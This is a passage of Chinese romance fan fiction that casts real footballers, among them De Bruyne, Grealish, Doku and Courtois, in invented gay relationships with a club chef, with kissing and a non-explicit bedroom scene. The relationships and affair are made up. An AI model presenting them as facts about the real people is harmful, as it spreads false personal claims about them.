“就算是我捡回来的一只小动物,我都会对它负责到底,何况你是人呢?你是一个和我有着差不多经历的人,就当是自我救赎,未来的你来拯救现在的你,好让你成为未来的你,明白吗?如果我也要面临孤身一人慢慢老去死去,那么我希望能看到未来的你也有一个体面的生活,我也不奢求你的报答,我只是无愧于内心罢了。” 也许是上帝垂帘他们,一周后,他们等来医院的检测报告,托马斯是negative。 拿到报告后,托马斯震惊了!他也明白了什么是positive,什么是negative,他想起来了,有一个巴西小帅哥和他是同期,被埃里安一起带到英国,年龄,身高,体重甚至连血型都是一样的,该不会是他把体检报告涂改调包了吧? 这件事过了之后,克里奇利总算是松了一口气,另一个好消息也来了,他的护照延期申请被批准了,也就是说,他可以有六个月的时间为自己争取英国国籍了。 这双重的好消息让他们感到兴奋,克里奇利当晚准备了丰盛的大餐,他邀请德布劳内来他家做客,并告诉托马斯,他打算让德布劳内来见证,自己要和他缔结一种关系了。 托马斯说我要叫你爹吗? 克里奇利狠狠打了他后脑勺一下,“我有那么老吗?” “那该不会是?” “Ouch!”这一下比刚才那下打的更疼。 克里奇利说,以后对外你就是我弟弟,平时就叫我姓名就可以了。 “hermano!”托马斯一跳就跳到了克里奇利身上,克里奇利双手把他托住了,完成了一次美妙的上树之礼。托马斯说,“哥哥,在我们阿根廷,hermano就是哥哥。” 克里奇利笑着抱着他转了好几个圈。 这时,门铃响了。 第33章 德布劳内登门拜访,…… 德布劳内登门拜访,手里还拿着一个精致的礼盒,克里奇利笑着说来就来,还拿什么礼物? 德布劳内说,又不是给你的。 他把手里的礼盒递给托马斯,托马斯惊讶的瞪大了眼睛,迟迟不敢伸手去接。 “拿着吧。”克里奇利说,“这对他来说小case.” 德布劳内对着他小腹捣了一拳。 “啊!哈哈哈…”克里奇利被他怼的弯了下腰。 托马斯接过来说了声谢谢叔叔。 “托马斯!”克里奇利吼他。 “谢谢哥哥。”他又改口说。 克里奇利看了看德布劳内的脸由阴天转为了晴天,又对托马斯说,你还没给哥哥道歉。 “哦,对不起…” “算了算了,他已经替你道过歉了。”德布劳内看了克里奇利一眼,似乎在回味那晚他的道歉,克里奇利也回望着德布劳内,抿着嘴唇偷笑。 托马斯拿着德布劳内送给他的礼物,小心翼翼的拆开,原来是一个最新款的switch,他高兴的尖叫起来,“哦,我的天呐,我竟然也有游戏机了!”以前因为他偷偷玩哥哥的游戏机,被他哥哥给揍了一顿,说他不配有这个东西,要是玩坏了,把他卖了都赔不起。 他拿着游戏机坐在沙发上摆弄起来,一边看说明书,一边戳着键盘。德布劳内走过去帮他调好模式,又告诉他该怎么玩,手把手的教给他看上去就像一个英语老师。 这虽然是个游戏机,却好像是一部英语学习机,可以让托马斯迅速的学会拼读英语。克里奇利心想,德布劳内真是一款贴心的妈咪。 他走进厨房系好围裙,开始准备大餐。配菜准备的差不多了开始料理龙虾,他刚拿起刀准备斩龙虾时,德布劳内走进了厨房,说我来帮你吧,或者你教教我。 “你不用学,你等着吃就行。”克里奇利擦擦手,握住德布劳内的肩膀,把他往外推。 这时生猛的大龙虾从案板上一下翻到了地上,像条大鲤鱼似的活蹦乱跳还举着两个大鳌,吓得德布劳内一下子搂住了克里奇利的脖子,双脚都差点腾空起来。 克里奇利趁机占便宜,搂着他的腰,低头啄了他一下。 德布劳内赶紧的挣扎出来,推开克里奇利的胳膊,绕到他身后去。 克里奇利抓起地上的龙虾,拿到水龙头下冲了冲,接着手起刀落,咔嚓一声,就把龙虾斩成两段,嘴里还念叨着,对不起了,谁叫你吓唬我的客人呢。 德布劳内走过来看了看,啧了一声,摇摇头说太残忍了。 克里奇利说,我平时很少杀海鲜的,这不是今天有大事要公布才买了这个东西给我们助助兴。 “什么大事?”德布劳内好奇道。 “我要和托马斯办理收养关系了。” “什么你要养儿子了?” “以哥哥的身份。” “噢,那恭喜你!”德布劳内的脸上明显高兴了不止一个度,直接笑出了脸上的括号。 “现在可以让我亲了吧?” 克里奇利搂过他的脖子,长长的胳膊把他困在怀里,低垂下眼帘看着德布劳内的鼻尖,深情又专注的吻落了下来,先是亲了亲他挺翘的小鼻子,接着含住了他的唇瓣,一个火热的吻打湿了德布劳内的嘴唇,接着被他拥吻到冰箱和橱柜的角落里,撞的锅碗瓢盆叮当作响。 过了一会儿,传来了托马斯的叫声。 “你们俩,适可而止点!这还有一个小孩儿呢!” “小孩个屁,你马上就18了。” 克里奇利没管他,继续拥吻着德布劳内,这次,德布劳内被吻到腿软,感觉被克里奇利逼到了自己的禁区,而来到了他的舒适圈,厨房还没点火就已经热的像个烤箱,不一会儿就出了一身汗。 “Hey布莱恩,我是来让你教我做饭的,不是来叫你吃我的。”他推着克里奇利的脖子,说你再这样,我以后不来了。 克里奇利笑着说:“你实在是太美了,你知道吗?美到晃眼睛的那种。” 德布劳内掐了一把他的腰肉,被他色眯眯的样子吓得马上要退出厨房,又被他一把抓住手腕,拖到了案板前,说:“来,我教你怎么料理龙虾。” “你能不能教我点别的?比如雕个萝卜花之类的。” 德布劳内看着眼前被他切成两半的龙虾,还是不敢下手。 “好吧,那我们做点艺术的东西。” 克里奇利从他身后抱着他,握着他拿着厨师刀的右手,切出一片片晶莹剔透的鲜鱼片,又切了一把羽絮般的葱花,最后拿起水果刀雕刻起了胡萝卜花,全程抱着他专心致志的玩菜。 但离了克里奇利的手德布劳内就不会了,他一会儿就把案板弄得像西红柿惨案一样。 克里奇利笑着问他你是右撇子还是左撇子,言下之意就是说他手笨,德布劳内用左脚踢了他一脚,说我不分左右。 克里奇利被他踢的跳了一下,皱着眉头说你上次踢我那一脚到现在还疼呢。 托马斯玩游戏都玩的无聊了,对着厨房喊了一声喂,你俩还有完没完了?这晚餐还能吃上不? 克里奇利哪还用他帮忙,就是工作之余顺带陪着他玩,几下子就做好了一桌子菜。 光是龙虾就做了三种吃法,刺身,蒜蓉芝士焗虾肉,虾黄泡饭,还有花雕松叶蟹,香茅牛骨髓,梅菜扣肉,清蒸马面鱼,一些清爽的配菜,还没端上桌就已经香飘满屋了,引得托马斯不住的咽口水。 菜都摆好了,他张着嘴巴惊讶的说:“今天是什么大日子,不太像庆祝咱俩的结拜,更像是你俩的订婚宴,这也太奢华了吧!” “你哥是大厨,你不知道吗?”德布劳内对做饭没什么时间概念,他感觉自己光是把龙虾剥出来就得费半天劲,而克里奇利就像变魔术似的,用不了1个钟就把生鲜煮成熟饭了,自己还耽误他十多分钟。 “现在才知道,你没来的时候,他哪做过一顿像样的饭,不是喝多了倒头就睡就是糊弄我吃破面包就火腿。” “啧啧,你可真不应该啊。”德布劳内对他粗放式养崽表示很不放心。 聊着聊着,托马斯就和这个冰山美人拉近了关系,他说,“上次我说你来过,他就跟屁股被蛇咬了一口似的立刻坐不住了,然后我说你生气了,他外套都没穿就冲出门去,还凶我是个魔鬼。” “哈哈哈…”德布劳内看了一眼喝的七荤八素的克里奇利,发现他正托着腮眼神拉丝的看着自己。 “看我干嘛?”德布劳内伸出葱根一样的手指把他的脸戳到一边,歪向托马斯,他又转过来,眼神迷离的上下打量德布劳内,棕色发绿的大眼仁映着比利时大橘猫的影子,好像德布劳内是一盘菜,已经被他眼神给吃了个通透。 “好了好了,你别喝了。”托马斯从克里奇利手里夺过酒杯,提醒他明天还得上班呢。 “我好久没去夜场蹦迪了,喝点酒怕什么,放心,工作对我来说就跟玩一样。” 托马斯不敢做的事德布劳内敢做,他接着就揪住了克里奇利的耳朵,反向一扭就把他牢牢的控制住了。 “哎哟!你干嘛啊?凯文!”克里奇利被他揪住耳朵不得不将身子倾斜过去,接着又被他揪着站起来扭送到卧室。 托马斯在他们身后笑出了小括号,心想,真是一物降一物啊,他这个天不怕地不怕气场能闷死一头牛的狼王哥哥,就这么毫无招架能力的被一只金渐层大猫给压制了,这就是传说中的血脉压制吗? 德布劳内把他押进了卧室,揪着他耳朵的手转而捏住了他的下巴,语气仍然带着些许压迫,“布莱恩,你现在肩上有了责任,可不能乱出去玩了。” “那你别走。”克里奇利握住他的手腕,身子径直向后倒去,把德布劳内一同拽倒在床上,压在了他身上。 “别乱来,我在别的地方不习惯。”德布劳内双手撑在他胸膛上,随着他呼吸的频率他的胸口也跟着轻轻的起伏着。 “别说话。”克里奇利抬手扣住德布劳内的后颈,挺直脖子就亲了上去。 德布劳内往后躲一躲,他就往前进一进,最后德布劳内无处可躲索性狠亲了下去,把他的后脑勺亲进了柔软的床垫里去,还说了他一句,“你脖子怎么这么长啊,你是长颈鹿吗?” 克里奇利突然停滞了一瞬,他想到了马德里那只长颈鹿,他睁开眼睛看了看眼前的这个刚被他拿下的金发美男子,大脑一时错乱,冒出一句,“你前男友才是长颈鹿。” 德布劳内听了好像被他电了一下,紧接着从他身上爬起来,甩开他拉拉扯扯的手,摸了摸自己的嘴唇,慌慌张张的退出了卧室。 托马斯正在刷碗,他看见德布劳内这么快就出来还很诧异,问他:“那家伙这么弱的吗?前后还不到5分钟。” “闭嘴!”德布劳内搓了搓自己红的像个紫茄子一样的脸,跑到洗手间去了。 “怎么了嘛?”托马斯跟着他去了卫生间,说实话,他虽然对德布劳内第一印象不怎么好,觉得他很有威胁并且看上去很凶,但现在却有一种莫名的亲近感,他觉得德布劳内好像掌握着他哥哥的命门,那种感觉说不上来,牵一发而动全身的宿命感,就像他冥冥之中从遥远的阿根廷来到英国又经历了这么多坎坷最后遇到可以真心相处的人,那种会持续很久的相当浓烈的感情,不是一时半会能表达清楚的。 所以他也不把德布劳内当外人,就站在卫生间门口看着他把水往自己的脸上撩。 而彼时的克里奇利早就睡的一塌糊涂了,根本不记得自己说过什么。 第34章 德布劳内洗完脸之后…… 德布劳内洗完脸之后想走,托马斯拉住他不让他走,对他说你给我买了这么贵重的礼物,我还不知道要拿什么报答你。 德布劳内说一个游戏机而已,你好好报答你哥哥就行,他才是真正救赎你的那个人。 托马斯说我知道,等我选美赢了以后,一定会好好报答他的,我希望到时候连你一起。 选美?德布劳内听着觉得很感兴趣,为了不让他问自己和克里奇利的事,就和他聊起了这个话题。 克里奇利睡着睡着就被外面的说话声给吵醒了,走出来发现他们俩在沙发上聊的热火朝天。 托马斯看到克里奇利,眼睛亮晶晶的,一副很夸张的表情对他说,“哦,哥,你知道吗?德布劳内先生要资助我参加选美。” 什么玩意?克里奇利听了下巴差点掉下来,小家伙最近在忙着四处打工,整天打电话关注自己的定居进度,已经很久不提选美的事了。怎么又要去选美呢?他到底除了这条路就无路可走了吗? “选什么美?”克里奇利说,“你长的一点都不美。我要是考官,第一个把你拿下来。” “为什么?”说他不美的克里奇利还是第一个人。 “别听他胡说八道,你的五官真的很适合上电视。”德布劳内冲他眨眨眼。 托马斯一脸无辜,“看吧看吧,到底谁才是我亲哥?” 克里奇利:“你瘦的一点腱子肉都没有,个子也就一米七多点,才艺也没有,不是我打击你,你跳的舞能拿到台前上去吗?” 托马斯: “不是,我一米七七,虽然没有你高也不差吧!” 克里奇利: “我看你要是能选上什么世界先生,我都能代言宇宙了!” 德布劳内: “得了吧你,怎么这样打击孩子,你充其量也就是个有点姿色的大眼萌叔,他可不一样,他是360℃无死角的精致,怎么看怎么漂亮。” 克里奇利:“德布劳内,你别仗着有钱就想一出是一出,明星这条路不是谁都能走的,我可不想哪天再从娱乐圈的哪个大佬床上把他救出来,我也没那个本事。” “哥!”托马斯眼圈一红,马上就要掉下泪来! “布莱恩!你他妈…明星,我也是明星,你也不是没上过电视,有的人天生就是吃这碗饭的,再说不试试怎么知道,我觉得他挺有投资前景的,当然我不是为了赚钱,我也没有娱乐公司,我只是想看看我的眼光。” “凯文。”克里奇利走过去,和德布劳内对峙起来,托马斯站在他们身边担忧的像一只小鹿,正左看右看准备随时拉架,但他不知道该向着谁说话。 “凯文,我不希望你做这个实验,为了你的眼光把他往火坑里推。” “怎么就是往火坑里推了呢?你不是他监护人吗?我…我也可以帮忙啊!” “他行吗?你问问他,他行吗?英语说的颠三倒四,才艺只会,只会…唉…”克里奇利最终还是没能说出口,但已经被气的语无伦次了。 “好了,别吵了,你们两个就像我吵架的父母,我害怕!”托马斯扭头就跑进房间里去了。 两个人不作声了,德布劳内沉默了一会,拿起外套头也不回的走了,克里奇利在阳台上一根接着一根的抽烟,心里乱成一锅粥了。 第二天上班,谁也不跟谁说话。 克里奇利忙的抬不起头来,他总是亲自掌勺,同时还要监督全餐的出餐情况,每个工作日都要确保准时开餐,冷热适中,营养均衡,做好了午餐后还要去前台看看大家的就餐情况,直到菜品消耗的差不多了他才能稍微清闲一会。 他今天实在是有些烦心,没站在餐台后给球星们推荐菜品,而是一个人跑到阳台上抽烟。 格拉利什,多库和德布劳内坐在一起,格拉利什盛了满满一盘子饭菜,看到德布劳内盘子里只有几片菜叶和一块甜玉米,笑眯眯的问他,“凯文,你减肥吗?怎么吃这么少?” 德布劳内看了一眼格拉利什的餐盘,嫌弃的摇了摇头。 多库正要吃烤鸭,他看出他的比人哥哥心情不太好,想调解一下气氛,于是对德布劳内说,“今天竟然有烤鸭耶,这东西怎么卷?” 德布劳内又瞟了他一眼,指了指格拉利什,懒洋洋的说,“问他。” 这时,克里奇利抽完烟回到餐台水吧,开始研磨咖啡,等大家吃完了有人就会犯困然后来讨要一杯意式浓缩。 德布劳内的眼神随着克里奇利的身影追过去,又面无表情的低下头,戳着盘子里的生菜叶和木鱼花不知在想什么。 “哈哈哈…你要这样卷,手真笨啊!”格拉利什教多库卷饼。 他们俩叽叽喳喳的让德布劳内心烦,他问格拉利什,“上午训练你是怎么做到精准打铁的?” 格拉利什笑不出来了,他说:“凯文,你能不能不要老是聊工作,吃饭的时候聊工作会让我消化不良的。”接着他就端起盘子和多库说,“我再去拿点烤鸭。” “我也去。”多库大眼睛来回扫了一下,害怕凯文一会拿他的丢球说事,也端着盘子跟格拉利什走了。 终于清净了,德布劳内心想,烦死了,要想赶他们走只需要聊工作就行了,虽然给他们留下一种无趣到近乎不近人情的印象也无所谓,反正他们还是会在场上不计前嫌的揉乱他的金毛。 刚往嘴里塞了一口菜叶子,一个高大的身影从他身后闪了过来。 向来率性不拘小节的克里奇利问也不问就拉过椅子坐在德布劳内的对面,把手里的咖啡杯推了过去,对他说:“给你冲的,免得你一会不好意思要。” “切…谁让你坐这的?”德布劳内瞪他一眼,“我不喝。” “还生气呢?”克里奇利翘起了二郎腿,身子靠在椅背上,有些颓废的看着他。 “你怎么想是你的事,我生不生气是我的事。” “不介意的话,下班去公园走走?” “介意。” “呵…”克里奇利就知道他会拒绝,仍厚着脸皮继续骚扰他,“我有话想对你说。” “说吧,现在说。”德布劳内把叉子放下,冷着一张脸,顺手拿起咖啡递到唇边。 克里奇利放下腿,伸长脖子凑过去,小声地问他,“先生,我送你的领带你洗了吗?” “嘶…”德布劳内好像被一口咖啡烫到了嘴唇,接着皱起了眉,蓝色眼睛望过去好像甩过去一把刀。 “不烫啊。”克里奇利拿过来他的咖啡杯,喝了一大口,“我再去给你冲一杯啊。” 看着他往吧台走去,中间还回了一次头,搞的德布劳内又不淡定了,他看了看其他人,发现没有往这边看的,才低下头继续戳盘子里的菜叶子,心想,他真的是一个狠人,举手投足都让人躁动,像咖啡一样让人心跳加速。 一有什么烦心事,克里奇利总喜欢去公寓附近的公园散步。那里有成群的鸽子,连成片的树木,树上还有松鼠窝,运气好的话还会碰到散养的梅花鹿和讨食的小猫。 他今天下班没有开车,穿着一身运动装,打算跑两公里到公园转一圈然后回家。刚出单位门口就听到身后传来两声清脆的汽车鸣笛声。 他转过头来,看到一辆低调奢华的阿斯顿马丁白色轿车,车窗缓缓落下,带着墨镜的金发男人喊了一声上车。 克里奇利撇撇嘴,刚想拒绝,德布劳内没耐心的又吼了他一句,“快点儿,不是去公园吗?” 空气有些安静,但克里奇利的心尖感觉被微风吹动了一下,他拉开车门,大长腿一迈整个人就缩进了轿车里。 下午的阳光还有点烈,克里奇利看着德布劳内的侧脸,他专注开车的模样有些清冷也有些温暖,还没有吹干的几缕湿发不听话的垂在脸颊上,让人忍不住想要伸手帮他别在耳后。 “干嘛?别打扰我开车。”德布劳内余光瞥见克里奇利向他伸过来的手,打消了他下一步的举动。 “哦,没什么,你怎么突然又改变主意想和我去公园了?” “你不是有话要对我说吗?我怕你找不到适宜的环境再把你憋死。” “呵…你可真够体贴的。其实也没什么,就想走一走。” “那就走一走。” 今天不是比赛日,俱乐部下班早,这个点公园是没什么人的。他们沿着修砌的石板路,一路往公园的深处走去,他们看到一大群鸽子悠闲的在空旷的广场上散步,看过来的小眼神不是警惕而是打量着这两个人兜里有没有什么好吃的。 克里奇利从兜里掏出了一个小塑料袋,抓了一把生玉米粒放在德布劳内的手心里,德布劳内低头看着手里的玉米粒,还没等想把它撒出去,就有几只胆大鸽子试图落在他的手臂上。 他赶紧把玉米粒扔在地上,回手就捞克里奇利的脖子,克里奇利抱了他一下,他又像过了电似的赶紧脱开身,克里奇利笑着抬手把他连帽外衣上的帽子掀起来戴在他的头上说别怕,没人看见,鸽子不会说话。 喂完了鸽子他们又向小树林走去,有几只流浪猫就躺在午后温暖的长椅上晒太阳,克里奇利又从兜里掏出一块牛油面包干,掰成几块递给德布劳内,那几只小猫闻着牛油味儿就围过来了,仰着头冲着他哇哇的叫,德布劳内赶紧把面包干丢在地上,看着小猫们大快朵颐享受下午茶。 德布劳内惊讶的问他:“你兜里到底装了多少神奇的东西?别一会儿掏出今天餐厅的大法棒来。” “哈哈哈…” 说完,他们俩对着笑了一会儿。 “哦,看那边!”德布劳内指着小路延伸的方向,那里正站着一只小梅花鹿挡住了他们的路并朝这边张望,看上去像只要留下什么好吃的,否则不让你们过路的架势。 “它很温顺的。”说着克里奇里又从兜里掏出了一小段胡萝卜递给德布劳内。 “你不是要来公园和我聊天的,是带着我来喂养野生动物的?” “大自然可以治愈一切没有道理的烦恼。” “少在这装哲学家。” 说话间,那只小梅花鹿已经悄然接近他们,并且低着头嗅到了胡萝卜的香味,然后从德布劳内修长洁白的指尖中把那一小节胡萝卜抢走了,接着欢快的跳进了林间。 克里奇利看到这一幕,好像想通了什么,他看了德布劳内一眼说,“你真不简单。” “我怎么了?” “冷冷清清的贵公子模样,还怪招人稀罕。” “它们不是人。” “我也不是人。” 说着,克里奇利双手捧过他的脸,上去就亲了他一口,还狠狠地吸了吸气,亲的他大脑立刻窜上一股电流,滋的一声差点烧断线。 墨镜挡住了德布劳内的眼睛,但这一吻却生生搅乱了他维持了多年的平静如水的心绪,本来他打算听听看克里奇利说什么,然后不再管他的闲事,可如今,他看着气场强大温柔善良的克里奇利,感觉自己在劫难逃,好像又他妈坠入爱河了。 第35章 他们在公园里留下一…… 他们在公园里留下一串脚印,惬意的时光在他们洒满阳光的肩膀之间碰撞流淌。 德布劳内看到有个冰淇淋自动售卖机,而克里奇利却被不远处的一个小足球场吸引了目光。 那里有几个少年在踢球,他拉着德布劳内的胳膊走过去隔着铁丝网看他们踢球。 “有什么好看的?整天看我们训练看不够吗?”德布劳内撇撇嘴,目光却没从冰淇淋机上挪开。 “他们踢的更有趣,你看那个金发小男孩就像你一样,能从一堆脚里把球摘出来。” “那个瘦高个儿像你,下盘不稳,又被晃倒了。” “我下盘挺稳的,别说你了,比我高十公分的照样摁到车前盖子上…”还没等他说完,皮球从球场飞了出来,正好落在他们身后不远处。 小孩们冲他们喊:“嘿,老兄,帮忙踢回来。” 克里奇利看了德布劳内一眼,德布劳内抬了抬下巴,意思是别看我,你去,我不爱动弹。 克里奇利只好跑过去,捡起球,目量了一下距离,那个铁丝网很高,用手扔大概扔不过去,他把球抛起来,平时看球员们训练觉得凌空一脚好像很容易,而且比赛中经常放高射炮,代入进去好像也不难,他用力开了一脚。 谁知球根本没按他的路线走,而是又准又狠的直奔德布劳内而去。 德布劳内也没想到这球是冲着他来的,他一闭眼,一缩脖子,只听砰的一声,球打在他后背上又弹了回来。 “Oh fuck!”德布劳内把帽子一拽,眼镜一推,对着他怒吼,“你故意的吧!” 克里奇利赶紧跑过去给他揉揉肩,一边狂笑不止一边说对不起对不起,我瞄准你都打不了这么准。 球场里的小孩也哈哈大笑。 “真笨!” 德布劳内走过去用脚尖一挑就轻松把球挑了起来,颠了几下,接着一脚就把球端进球场里去了。 “噢——!”球场里的小孩尖叫着拍巴掌。 “德布劳内!是德布劳内吧!”球场里的金发小孩指着他大叫着。 德布劳内只好笑着冲他们摆摆手。 “真的是德布劳内!我偶像!”说着,这几个小孩全都冲了过来。 德布劳内站在球场外,把搓上去的眼镜又戴上了,说了一句:“好好踢啊,将来去曼城。”接着拉着克里奇利的胳膊快步离开了球场。 他们来到湖边,这时太阳已经快要下山,夕阳染红了天边,微风拂面,令人神清气爽,但一丝潮湿的冷渐渐袭了上来。 “你等我一下。”克里奇利说完又往回跑,不一会,他拿着一个草莓冰淇淋回来了。 “给。”他递过去。 “我不吃。”德布劳内摇摇头。 “你不吃你刚才路过时眼珠子都快掉下来了。” “我小时候喜欢吃,现在吃一口就要在跑步机上多跑二十分钟,我不想破戒。”他对视着克里奇利,嘴角翘起来,温柔的说,“我想买给你吃的。” “啊哈!”克里奇利挑高了一边的眉毛,歪着头笑出了小虎牙,“这么冷的天你想冻死我啊,还想让我作为你的嘴?*? 替吃完了冰淇淋再在跑步机上多跑20分钟。” 以为他会说谢谢,你真贴心之类的,没想到不是直男却有着直男嘴的大呆瓜,专挑难听的说。 德布劳内抬手就捣了他一拳,却被他一把握住了拳头。 克里奇利把他拉进怀里,搂住他的脖子,低头咬了一口冰淇淋,不容他后退的亲了上去,把口中未融化的草莓冰淇淋融化在他们的唇齿之间。 德布劳内的喉结上下滚了一滚,咽下了这份甜蜜,奶油草莓的芳香弥漫在他们的唇舌之中,让他们短暂的忘却了春寒料峭,品尝到了一丝对方的甜蜜和怀抱的温暖。 “要冷一起冷。”如此浪漫的情景下,他又说了破坏氛围的话,德布劳内低头笑笑无奈的摇了摇头。 “嗯,我想问你…”(我想对你说…) 两个人同时开口。 “你先说。”克里奇利努了努嘴。 “不,还是你先说吧。”德布劳内掩饰住神情中的一丝尴尬,故作期待的侧着头看他,让他先说。 “好吧,那我先说了。”克里奇利拉着他的胳膊往回走,“太阳下山了,咱们回去吧。” “你就是要说这个?” “天太冷了,我张不开嘴,特别是吃了一个冰淇淋后。” “怎么不冻死你呢?”德布劳内用肩膀撞了他一下,接着就被克里奇利的大手捞进了怀里,两人步调一致的往车的方向走去。 “其实我想对你说,要资助也是我来资助,而且你也没有时间和精力来打理托马斯的事物。”克里奇利搭着德布劳内的肩膀,一边走一边说起他挣扎了一宿之后的想法。 “你知道我有个叫团队的东西吗?”德布劳内好听的声音里透着一丝傲娇。 “Kevin,不要用钱来砸我的认知。你知道我上次从你家回来有多忐忑吗?害我一度以为自己在卖身,我都十多年没被撅过了。”克里奇利很显然并不想接受他的帮助。 但他拒绝的理由很搞笑也很色。 德布劳内看着他不羞不燥的脸平静的说着粗俗的话,瞬间觉得这个看上去斯文风雅的绅士其实跟雅挨不上边,他几句不离搞运动。 倒是把自己说的有些口渴了。 “昨天你走后,我想了很多,大概这就是天命吧,今晚托马斯下了夜班回来我再和他好好聊聊。”克里奇利平静的说,情绪上看不出挣扎过的痕迹。 “什么夜班?”德布劳内问。 “便利店打工。” “等他真正开始为选美做准备的时候,就不能去便利店上夜班了,他应该把时间和精力放在培训班里,而培训班的费用只出不进,想要把他培养出来不花个百八十万看不到效果。” “走一步看一步吧,他也应该学会为自己的理想买单,我也会在适当的时候拉他一把。” “好,需要帮助尽管说,我还挺喜欢那孩子的。” “你变得真快,不和小孩争风吃醋啦?”克里奇利又在煞风景,结果屁股被德布劳内结结实实的踢了一脚。 “fuck u and kick ur ass!” e on ,I cant wait!Replace kick with kiss,sir.”他揉揉屁股对着他笑。 上车以后,克里奇利好像想起来了什么,问他,“你要说什么来着?” “我?”德布劳内抿了抿嘴唇,“我忘了。” “那我给你做点好吃的你就想起来了。” “去哪?” “我家。” “……” “托马斯上夜班。” “……” “你不是说需要帮助找你?我现在需要你的帮助,德布劳内先生。” 德布劳内不想说心事也不想跟他走更不想帮助他解决身体问题,但他确实口渴了,于是不做声的默默开车来到他家小区。 一进家门,克里奇利就把自己上衣脱了扔在沙发上,不管在谁家,只要一进屋就脱衣服这个习惯也不知是好还是不好,反正那线条美好的后背就不适合穿衣服。 他打开冰箱拿了两罐啤酒,递给德布劳内一瓶,两人一仰脖咕咚咕咚一罐就干出来了,然后对着打了个酒嗝儿,哈哈一笑。 要是一直这样没负担的整天在一起喝酒聊天鬼混就好了,德布劳内心想,但昨天他说自己前男友是个长颈鹿时就让他感到莫名的心慌,他确实想问问他是怎么知道这件事的。 “布莱恩,你怎么知道我有个前男友的?” “噢,原来你想问的是这个啊。”克里奇利揪着他的衣领把他拉向自己,微微低头看着他纯净的像大海一般水蓝的眼睛。 “我一般不说,但既然你问,我也没什么好隐藏的,我和你前男友上过床。”克里奇利向毫无防备的德布劳内丢了一枚重磅炸弹。“确切地说,那不是床,是车。” 德布劳内的身子一颤,睫毛不易察觉的抖动了一下,“你说什么?” “最近在你的一些新闻里总能看到一些说风凉话的,而且磕你们cp的真的很多,作为一个思维敏锐的gay,这点洞察力还是有的。” “你可真大胆!” “那又怎样?你信任我,而我也不会做出伤害你的事,还有,我把他撅了,然后又被你撅了,是不是可以理解为你在这方面赢的绝对漂亮!” 德布劳内皱眉。 “他给你戴绿帽,你再戴回去,是不是很过瘾?” “你还敢说?” “我不仅敢说,我还敢做,德布劳内先生,我是一个性感的大祸害,你忘了吗?” 德布劳内自从和库尔图瓦崩坏以来,一直用坚硬的玻璃罩把自己罩住,没有对任何人开放情感的入口,他对克里奇利一开始是防备,到好奇,误会,再到发现他是一个正直洒脱勇敢的人而对他产生了些许好感。 现在他又迷茫了,这个家伙有着不顾一切的率性态度,看起来很好相处,也很慷慨,慷慨到随意散发饱满的x张力。 他赤裸的上身让人感到阵阵眼晕从而产生一种渴望被包围的幻觉,神了个经病,自己这是怎么回事,会对一个花心大萝卜动心,而且还是一个口味宽泛的top。 还有一个问题,他是不是早就知道自己有个前男友,有那方面的倾向,故意勾引自己的?好像也不是,早在罗德里请客的时候就看出他和鲁本眉来眼去的不是个省油的灯了,现在要怪就只能怪自己经不住诱惑,把大尾巴狼主动请进了家门,还让他叫自己Sir。 没等他想明白,克里奇利就用自己的大长胳膊把他圈住,一步步带进了卧室。 第36章 克里奇利胳…… 克里奇利胳膊支起一个角,把德布劳内困在臂弯里,热烈而主动地拥吻着他,尽可能地释放着他向来用来征服帅哥的本事——温柔浪漫又纯熟霸道的吻技。 和那些他在健身房、浴室、舞池、酒吧里勾走的小帅哥不一样,他希望给德布劳内留下不可磨灭的印记,如果这个世界有信息素的话,他希望可以标记他。 没有人可以拒绝这样一个充满着进攻欲望和足够挑逗的热吻。 很快,克里奇利就把气氛调到了下午两点西班牙伊维萨的海滩,烈日灼灼,海浪滚滚。 衣服裤子再穿在身上已经不合时宜,它们应该散落在沙发地毯上,只留下两个同样热气腾腾的美好躯体,一个是泛着红的古铜色,另一个是泛着金的粉白色。 他们现在的纠缠,正在一步步把对方带进自己的宫殿,享受着海浪冲刷海滩,风吹麦浪的自然舒适,以及有那么一点不现实的咖啡混着热带水果的甜蜜香气在他们周围慢慢浸透。 吻到深处,德布劳内突然抬头看向克里奇利的脸,似乎从迷茫中猛然清醒,他凑近了些,试探地语气问他,“你现在是我的男朋友吗?” “……” 克里奇利搂着他的手忽然泄了点力,愣神了一下,这么细微的反应被敏感的德布劳内瞬间感应到,没有等他回答,一下子松开了攀在的克里奇利后腰的手。 “凯文……”克里奇利伸过去脖子想要再次亲吻他,却被他侧过脸躲开了。 哦天哪,这个问题不在克里奇利的人生答卷上,他怎么能给出答案呢。要知道,他可是伦敦蝴蝶大道一抹最鲜亮的色彩,是震圈一般的存在。 他的朋友们要是知道他谈了男朋友一定会笑话他,一向热衷于追寻新鲜美食,开发新菜品的神级大厨,怎么还能被菜给迷住,要和菜谈恋爱了呢。 但德布劳内不是菜,是叩击他心声的敲门砖,让他还没等睡就开始做上美梦了,他第一次想要放弃不停地寻找新的刺激,而选择背弃他的人生信条,过一次异性恋的小把戏,去和他厮守终生这样的令人钦佩的人生大戏。 然而没怎么谈过恋爱的克里奇利还是生硬地给出了违心的答案,“浪漫的剧情通常都在电影里,也只属于男女主角,怎么能临幸到我身上呢,我可不敢想,和你在一起得是什么样,一家三口逛迪士尼吃草莓冰淇淋还带孩子坐旋转木马吗?” “一点都不好笑,布莱恩,你真可悲。”德布劳内推开他,开始往身上套衣服。 “凯文,我很喜欢你,但是我现在还不知道,也许我还没那个能力和勇气去尝试开始一段感情生活,更不知道该怎么保护我们的关系。”实际上他到是无所谓,主要是考虑到德布劳内,他还在现役,不可以谈这种恋爱的。 “混蛋,你要的是热辣劲爆,是解决现在该死的生理需求!” 德布劳内看了他一眼,他赤裸着坐在床上,手臂支撑起上半身,微微发红的皮肤像刚蒸出来的白薯,热气腾腾,正用渴望的目光炙烤着他。 然而德布劳内没有留恋,他已经过了被美色随意勾住的年纪,他看上去很平静的把衣服裤子一件件穿好,不再回头,还轻蔑地哼了一声,“祝你搞定更多的小受,恕不奉陪!” 砰的一声,门被大力关上。 克里奇利没吃上餐前开胃菜,却吃了德布劳内的一个闭门羹。 “噢fuck!”克里奇利死鱼一般地躺在床上,浑身燥热难耐,又懒得起身去冲凉,他第一次感受到被人晾在床上那种浑浑噩噩的无力感和奔涌的情绪突然被堵回来的那种受挫感。 自己真的做错了吗?德布劳内冷冷清清的也没表现出多么依赖和欣赏自己,相反他还给自己一种很随意很大方很不在乎的感觉。 这么不应景的,伦敦小分队打来视频电话,问他这周末跟车回伦敦不?好久没凑了,要不要来个回马枪,看看蝴蝶大道还有没有人惦记他。 “没时间。”克里奇利淡漠表示,“有人惦记又怎样,我是不会给同一个人中两次奖的。” 